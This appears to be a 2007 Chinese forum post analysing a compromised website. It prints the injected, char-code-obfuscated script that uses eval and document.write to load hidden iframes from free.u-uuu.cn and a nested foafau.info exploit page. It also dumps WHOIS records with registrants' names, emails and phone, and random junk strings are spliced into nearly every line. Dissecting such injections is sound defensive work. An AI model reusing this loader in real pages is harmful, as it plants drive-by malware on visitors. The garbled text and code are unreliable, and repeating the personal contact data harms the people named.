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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, <!m'xOD  
7%x 3o#&  
http://www.areway.cn/?p=175 ecg>_%.>  
k.MAX8  
v vvH5NRm  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: oI2YJ2?Je8  
          t<%S_J\  
<script>t=’60,105,102,114,97,109,101, m.|__L  
32,115,114,99,61,104,116,116,112,58,47,47, Cvk n2T  
102,114,101,101,46,117,45,117,117,117,46,99, U|2*.''+Q  
110,47,101,114,114,111,114,46,104,116,109, ZA>p~Zt  
32,119,105,100,116,104,61,49,48,48,32,104, WBIJ9e2~  
101,105,103,104,116,61,48,62,60,47,105,102, O wJZ?j& )  
114,97,109,101,62′; 93+p~?  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> gs?=yNL  
                                                                                                  G5K_e:i  
<script>t=’60,105,102,114,97,109,101,32,115, _pM~v>~*+  
114,99,61,104,116,116,112,58,47,47,102,114, 3\~ RWoB0u  
101,101,46,117,45,117,117,117,46,99,110,47, bU+ z(Eg6  
101,114,114,111,114,46,104,116,109,32,119, 1_Ag:> #X  
105,100,116,104,61,49,48,48,32,104,101,105, Z6Kw'3  
103,104,116,61,48,62,60,47,105,102,114,97, nS`DI92I  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); N=hhuKt]  
document.write(t);</script> n@ rphJb  
                                                                                                  s1/:Ts[3i  
<html xmlns=” %8N=4vTJ  
http://www.w3.org/1999/xhtml _Vj uQ  
“> Ait3KIJ9  
<head> 2wKW17wj,  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> =Y;w O8  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> 6L\?+=X  
<title>首页 - 爱生活家庭网 'c")]{  
                                                                                                                                                    _ h7qS  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 H7=[sL^  
转换字符串后的大概内容是(谁点击后果自付): 6gSo>F4=  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… $: %U`46%s  
                                                                                                                                  Ln2dD>{2  
查询玉米u-uuu.cn的详细信息: O5;$cP:  
Domain Name: u-uuu.cn luYa+E0  
ROID: 20070901s10001s64972306-cn fsr0E=nV  
Domain Status: ok  | D?lF  
Registrant Organization: 王雷 M:*^k  
Registrant Name: 王雷 ;K+'J0  
Administrative Email: czlovexs@126.com a*fUMhIi  
Sponsoring Registrar: 北京万网志成科技有限公司 vxmz3ht,Q  
Name Server:ns.yovole.com OB&lq.r  
Name Server:ns1.yovole.com \4B2%H  
Registration Date: 2007-09-01 17:54 /'S@iq  
Expiration Date: 2008-09-01 17:54 sp VE'"^  
最后PING了一下地址 都没有什么…. &q?A)R  
                                                                                                liuF;*  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. 68pB*(i  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> "N|gU;~W  
<script language=”javascript” src=” $2?10}mrx  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script AlQE;4yX  
> $u`v k|\R  
这个玉米应该有可能是木马作者的: 4z$}e-  
foafau.info的详细信息: 9*"Ae0ok1  
Access to INFO WHOIS information is provided to assist persons in V6.w=6:`X  
determining the contents of a domain name registration record in the Ig*qn# Dd  
Afilias registry database. The data in this record is provided by @fML.AT  
Afilias Limited for informational purposes only, and Afilias does not 8D[,z 7n  
guarantee its accuracy.  This service is intended only for query-based 1E]|>)$  
access. You agree that you will use this data only for lawful purposes y_mD9bgW  
and that, under no circumstances will you use this data to: (a) allow, u\,("2ZW9+  
enable, or otherwise support the transmission by e-mail, telephone, or y&$mN  
facsimile of mass unsolicited, commercial advertising or solicitations %#^)hX,+Q  
to entities other than the data recipient’s own existing customers; or Z6Owxqfht  
(b) enable high volume, automated, electronic processes that send K:i{us`  
queries or data to the systems of Registry Operator, a Registrar, or ,2I8,MOg  
Afilias except as reasonably necessary to register domain names or c,\!<4  
modify existing registrations. All rights reserved. Afilias reserves \vU1*:3  
the right to modify these terms at any time. By submitting this query, Wg3\hv29  
you agree to abide by this policy. ~S='~ g)  
Domain ID:D22418703-LRMS jZ;dY~fE  
Domain Name:FOAFAU.INFO ~jqG  
Created On:20-Nov-2007 16:05:42 UTC svBT~P0x  
Last Updated On:20-Nov-2007 16:05:44 UTC 2?)bpp$WZ  
Expiration Date:20-Nov-2008 16:05:42 UTC ~MOab e  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) R p!R&U/  
Status:CLIENT DELETE PROHIBITED }E}b/ulg1  
Status:CLIENT RENEW PROHIBITED pu"`*NL  
Status:CLIENT TRANSFER PROHIBITED 3O W) %  
Status:CLIENT UPDATE PROHIBITED [J6*Q9B<V&  
Status:TRANSFER PROHIBITED y].vll8R  
Registrant ID:GODA-040110615 D m|_;iO,  
Registrant Name:liu hong %S2^i3  
Registrant Organization: -@wnQ?  
Registrant Street1:beijing 5tIM@,.I/  
Registrant Street2: c|s*(WljY  
Registrant Street3: ?4]#gC ks  
Registrant City:beijing ~;pv &s5}  
Registrant State/Province: UX9r_U5)  
Registrant Postal Code:100000 Hvm+Tr2@  
Registrant Country:CN :4ndU:.L  
Registrant Phone:+86.860108888777  3e<FlH{  
Registrant Phone Ext.: FzDZ<dJ  
Registrant FAX: *i}Nb* Z3  
Registrant FAX Ext.: D9#?l <D  
Registrant Email:bbbshiji@163.com {u1Rc/Lw  
Admin ID:GODA-240110615 6__#n`  
Admin Name:liu hong d]v4`nc  
Admin Organization: N<xf=a+j  
Admin Street1:beijing o9l =Q  
Admin Street2: b`4R`mo  
Admin Street3: ~}c`r4  
Admin City:beijing 2(, `9  
Admin State/Province: kg>Ymo.  
Admin Postal Code:100000 | Q Y_ci  
Admin Country:CN UHtxzp =[  
Admin Phone:+86.860108888777 \Lz2"JI  
Admin Phone Ext.: Q}?yj,D D  
Admin FAX: #b~wIOR)Z  
Admin FAX Ext.: Llf |fayq  
Admin Email:bbbshiji@163.com ed,w-;(n~  
Billing ID:GODA-340110615 >@2l/x8;  
Billing Name:liu hong :uAW  
Billing Organization: s[V$f vW  
Billing Street1:beijing ,@_$acm  
Billing Street2: L=. 4x=%%  
Billing Street3: n.[0#Ur&}  
Billing City:beijing {L!w/IeX  
Billing State/Province: j4au Zl]NF  
Billing Postal Code:100000 !Cm<K*c"&E  
Billing Country:CN %'}L.OvG  
Billing Phone:+86.860108888777 _L6WbRu|  
Billing Phone Ext.: MNE{mV(  
Billing FAX: q/o|uAq  
Billing FAX Ext.: GP %83T  
Billing Email:bbbshiji@163.com *3yeMxa  
Tech ID:GODA-140110615  Yfk){1  
Tech Name:liu hong k~(j   
Tech Organization: d2Z kchf  
Tech Street1:beijing Y4%Bx8  
Tech Street2: H$^b.5K  
Tech Street3: 9I a4PPEH1  
Tech City:beijing +TzF*Np  
Tech State/Province: |P_\l,f8`  
Tech Postal Code:100000 ?UXKy  
Tech Country:CN (l28,\Bel  
Tech Phone:+86.860108888777 C-;y#a)  
Tech Phone Ext.: \iQD\=o  
Tech FAX: O1@-)<_71  
Tech FAX Ext.: ~ caKzq  
Tech Email:bbbshiji@163.com wAr (5nEbx  
Name Server:NS27.DOMAINCONTROL.COM nt,tM/  
Name Server:NS28.DOMAINCONTROL.COM idwiM|.iU  
Name Server: "t<$ {  
Name Server: @j%r6N  
Name Server:  [69[Ct  
Name Server: oKIry 8'^N  
Name Server: ; &2J9  
Name Server: n7 RswX  
Name Server: >IW0YIQy,  
Name Server: ;79X# hI  
Name Server: AsRS7V  
Name Server: SR 9 Cl  
Name Server: UFxQ-GV4  
                                                                                                          KzRw)P  
接着下载每个文件里面的代码: [sC]<2 r  
一步一步看.. 5!ll #/ {`  
/B$"fxFf  
ckqU2ETpD}  
G?LPj*=$?  
%}+!%A.3  
8K! l X  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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